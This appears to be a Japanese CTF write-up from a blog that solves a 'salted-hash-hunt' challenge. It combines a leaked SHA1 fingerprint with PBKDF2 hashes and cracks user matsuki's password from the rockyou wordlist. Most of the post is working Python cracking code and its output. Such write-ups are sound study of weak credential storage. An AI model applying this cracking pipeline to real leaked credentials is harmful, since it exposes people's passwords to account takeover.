あなたは情報セキュリティ研究者として、最近発生した2つのシステム漏洩事件の調査を依頼されました。幸いなことに、これらの漏洩データは単独では復元不可能な形式で保存されていましたが、両方のデータセットを組み合わせることでパスワードを特定できる可能性があります。
調査の目標は、ターゲットユーザー matsuki の平文パスワードを特定することです。
問題ファイルをダウンロード: salted-hash-hunt.zip
ZIPのハッシュ値(SHA256): f11a69e79b6cc9c2d23fbe8baca042a6aecc50c016ddb27b86444bbb807386ca
流出データ形式
System A: 認証システム
ファイル: systemA_auth.csv

  • フォーマット: salt_hex,iter,hash
  • salt_hex: 5バイト(10桁の16進数)
  • iter: 反復回数(10,000または1,000,000)
  • hash: PBKDF2-HMAC-SHA256ハッシュ(16進数形式)
  • 例: a1b2c3d4e5,100,f6g7h8i9j0...
    System B: ユーザー管理システム
    ファイル: systemB_fingerprint.csv
  • フォーマット: fingerprint,username
  • fingerprint: パスワードのSHA1ハッシュの先頭5桁(16進数)
  • username: ユーザー名
  • 例: a1b2c,tanaka
    フラグ形式
    パスワードを見つけたら、コピーしてそのまま提出してください。
    例: パスワードが「Password123!」の場合、Password123! と提出します。
    ヒント
    最初に System B のデータからターゲットユーザー matsuki のフィンガープリントを見つけましょう
    そのフィンガープリントに一致するパスワード候補を rockyou.txt から抽出します
    候補ごとに System A のデータを使って PBKDF2-HMAC-SHA256 を計算し、一致するものを探します
    低反復回数(iter=10,000)のエントリから先に検証すると計算時間を大幅に短縮できます
 ┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/salted-hash-hunt]
└─$ ls
rockyou.zip  systemA_auth.csv  systemB_fingerprint.csv"
                                                                                                                            
┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/salted-hash-hunt]
└─$ unzip rockyou.zip 
Archive:  rockyou.zip
  inflating: rockyou.txt             
                                                                                                                            
┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/salted-hash-hunt]
└─$ ls
rockyou.txt  rockyou.zip  systemA_auth.csv  systemB_fingerprint.csv`

ターゲットユーザのフィンガープリントをgrepコマンドで検索:

└─$ grep 'matsuki' systemB_fingerprint.csv
04dc9,matsuki

上記の結果からmatsukiさんのパスワードのSHA1ハッシュの先頭5文字が04dc9な事が分かります。

SHA1フィンガープリントの計算

次に、パスワード辞書rockyou.txtの中から、SHA1ハッシュの先頭5文字が04dc9に一致するパスワードだけを絞り込みます。

シェルスクリプトで最初は分析をかけましたが、時間がかかりすぎたのでPythonにてExploitコードを作成しました。実行すると、条件に一致するパスワード候補を効率的に見つけ出し、candidates.txtというファイルに保存できます。

import hashlib
import sys

TARGET_FINGERPRINT = '04dc9'
ROCKYOU_PATH = 'rockyou.txt'
CANDIDATES_PATH = 'candidates.txt'

try:
    with open(ROCKYOU_PATH, 'r', encoding='utf-8', errors='ignore') as f_rockyou, \
         open(CANDIDATES_PATH, 'w') as f_candidates:
        
        print(f"[*] '{ROCKYOU_PATH}' のスキャンを開始します...")
        print(f"[*] ターゲットフィンガープリント: {TARGET_FINGERPRINT}")
        
        count = 0
        found_count = 0
        for line in f_rockyou:
            count += 1
            password = line.strip()
            
            # パスワードのSHA1ハッシュを計算
            fingerprint = hashlib.sha1(password.encode()).hexdigest()[:5]
            
            if fingerprint == TARGET_FINGERPRINT:
                found_count += 1
                print(f"  [+] 発見 ({found_count}件目): {password}")
                f_candidates.write(password + '\n')

            # 100万行ごとに進捗を表示
            if count % 1000000 == 0:
                print(f"[*] {count // 1000000}00万行を処理しました...")

        print("\n[*] スキャンが完了しました。")
        print(f"[*] 合計 {found_count}個の候補を '{CANDIDATES_PATH}' に保存しました。")

except FileNotFoundError:
    print(f"[!] エラー: '{ROCKYOU_PATH}' が見つかりません。")

実行後のcandidates.txtの中身:

┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/salted-hash-hunt]
└─$ cat candidates.txt                  
court94
assman21
kivininluv
3030685
1adamg
19790723
01candy
tw66ty
ppazawayz
oni061983
namrata1
marilia356
fya31089311
dtl94lan
checking21
andre919301939
alsul11
aarriieess
LUISCARLOSPEREZ
LONGLYPH
JohnInTheBox8657
7bandgeek7
094879222


次に絞り込んだパスワードの候補から絞り込みを行います。

import hashlib
import csv

# --- ファイル名 ---
SYSTEM_A_FILE = 'systemA_auth.csv'
CANDIDATES_FILE = 'candidates.txt'

# SystemAの認証データを読み込む
auth_data = []
try:
    with open(SYSTEM_A_FILE, 'r') as f:
        reader = csv.reader(f)
        for row in reader:
            # salt_hex, iter, hash の形式で追加
            auth_data.append((row[0], int(row[1]), row[2]))
except FileNotFoundError:
    print(f"[!] エラー: '{SYSTEM_A_FILE}' が見つかりません。")
    exit()

# ヒントに従い、計算コストの低い反復回数10,000のものを先に処理するためソート
auth_data.sort(key=lambda x: x[1])

# パスワード候補リストを読み込む
try:
    with open(CANDIDATES_FILE, 'r') as f:
        passwords = [line.strip() for line in f]
except FileNotFoundError:
    print(f"[!] エラー: '{CANDIDATES_FILE}' が見つかりません。")
    exit()

print(f"[*] SystemAのデータ: {len(auth_data)}件")
print(f"[*] パスワード候補: {len(passwords)}件")
print("[*] 検証を開始します...")

# 総当たりで検証開始
found_password = None
for salt_hex, iterations, target_hash in auth_data:
    # 既にパスワードが見つかっていればループを抜ける
    if found_password:
        break
    
    salt_bytes = bytes.fromhex(salt_hex)
    
    for password in passwords:
        # PBKDF2-HMAC-SHA256ハッシュを計算
        hash_bytes = hashlib.pbkdf2_hmac(
            'sha256',
            password.encode('utf-8'),
            salt_bytes,
            iterations
        )
        calculated_hash = hash_bytes.hex()
        
        # 計算したハッシュとターゲットのハッシュが一致するか確認
        if calculated_hash == target_hash:
            found_password = password # パスワードを記録
            print("\n==============================")
            print(f"パスワードが見つかりました!")
            print(f"   Password: {found_password}")
            print(f"   Salt: {salt_hex}")
            print(f"   Iterations: {iterations}")
            print(f"   Hash: {target_hash}")
            print("==============================")
            break # 内側のループを抜ける
            
if not found_password:
    print("\n[-] パスワードは見つかりませんでした。")

出力結果:

┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/salted-hash-hunt]
└─$ python3 answer.py          
[*] SystemAのデータ: 1000件
[*] パスワード候補: 23件
[*] 検証を開始します...

==============================
パスワードが見つかりました!
   Password: JohnInTheBox8657
   Salt: eab9202ffb
   Iterations: 10000
   Hash: d94f0bb566b42915529e95d65ebc36b83dcd19cedefdae1fdcdafdd051672a90
==============================

この出力結果からパスワードがJohnInTheBox8657な事が分かりました。

解法手順まとめ

データファイル分析

  • systemA_auth.csv: PBKDF2-HMAC-SHA256ハッシュデータ
  • systemB_fingerprint.csv: SHA1フィンガープリントとユーザー名
  • rockyou.txt: パスワード辞書

ターゲット特定

SystemBでmatsukiユーザーを検索し、SHA1フィンガープリント「04dc9」を特定しました。

候補パスワード抽出

rockyou.txtから、SHA1ハッシュの先頭5文字が「04dc9」になる23個のパスワード候補を抽出する。

SystemAでの検証

各候補をSystemAのPBKDF2-HMAC-SHA256ハッシュと照合し、「JohnInTheBox8657」が一致することを確認したのでこちらが今回のフラグとなります。

今回のCTFへの感想

今回のCTFはMWSコンテストへの参加を決めた事もあり、マルウェア解析の練習をしたいという気持ちで取り組んでいました。ところが、予想外にPentestに苦戦をし、フラグを獲得する事ができず自分の勉強不足を実感しました。趣味でWebアプリの開発や運用を行っているのもあったので、このままの知識や意識ではインシデントを起こしかねないので気を引き締めないとと実感しました。MWSまで1ヶ月を切っていますが引き続きマルウェアの解析の勉強も頑張りたいです。

4
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?